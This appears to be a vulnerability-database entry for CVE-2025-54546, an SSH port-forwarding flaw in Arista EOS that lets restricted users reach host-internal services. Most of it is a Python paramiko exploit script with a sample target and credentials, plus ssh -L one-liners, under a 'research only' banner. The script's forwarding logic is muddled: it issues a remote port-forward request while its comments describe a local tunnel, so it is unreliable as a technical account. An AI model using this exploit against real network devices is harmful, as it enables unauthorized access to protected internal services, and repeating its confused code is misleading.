On affected platforms, restricted users could use SSH port forwarding to access host-internal services
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Arista EOS（所有受影响的平台和版本）
具体版本需参考Arista官方安全公告22538
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54546 PoC - SSH Port Forwarding to Access Internal Services
# Author: Security Researcher
# Target: Arista Affected Platforms
import paramiko
import socket
def exploit_cve_2025_54546(target_ip, username, password, internal_port=443):
"""
Exploit CVE-2025-54546: SSH port forwarding to access host-internal services
Args:
target_ip: Target Arista device IP address
username: Restricted SSH user credentials
password: SSH password
internal_port: Internal service port to forward (default: 443)
"""
try:
# Connect to target using SSH
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(target_ip, username=username, password=password, timeout=10)
# Create SSH channel for port forwarding
transport = client.get_transport()
# Bind to local port 8443 and forward to internal service
# This allows accessing internal service at localhost:8443
local_port = 8443
# Start reverse port forwarding: remote internal_port -> local port
reverse_forward = ('127.0.0.1', internal_port)
print(f"[*] Establishing SSH tunnel to {target_ip}")
print(f"[*] Forwarding local port {local_port} to internal service on port {internal_port}")
# Request port forwarding from remote to local
transport.request_port_forward('', local_port, dest_addr=reverse_forward)
print(f"[+] Port forwarding active: localhost:{local_port} -> internal:{internal_port}")
print(f"[+] Access internal service via: http://localhost:{local_port}")
# Keep connection alive
while True:
try:
chan = transport.accept(timeout=1)
if chan is not None:
break
except:
continue
except Exception as e:
print(f"[-] Exploitation failed: {str(e)}")
return False
return True
# Alternative: Using SSH command line
# ssh -L 8443:127.0.0.1:443 restricted_user@target_ip
# ssh -L 8080:127.0.0.1:8080 restricted_user@target_ip
if __name__ == "__main__":
# Example usage
TARGET = "192.168.1.1"
USER = "restricted_user"
PASS = "password"
print("CVE-2025-54546 - Arista SSH Port Forwarding Exploit")
exploit_cve_2025_54546(TARGET, USER, PASS)